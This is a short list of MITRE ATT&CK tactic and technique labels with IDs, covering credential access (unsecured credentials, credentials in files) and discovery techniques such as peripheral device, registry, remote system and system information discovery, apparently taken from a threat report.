Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery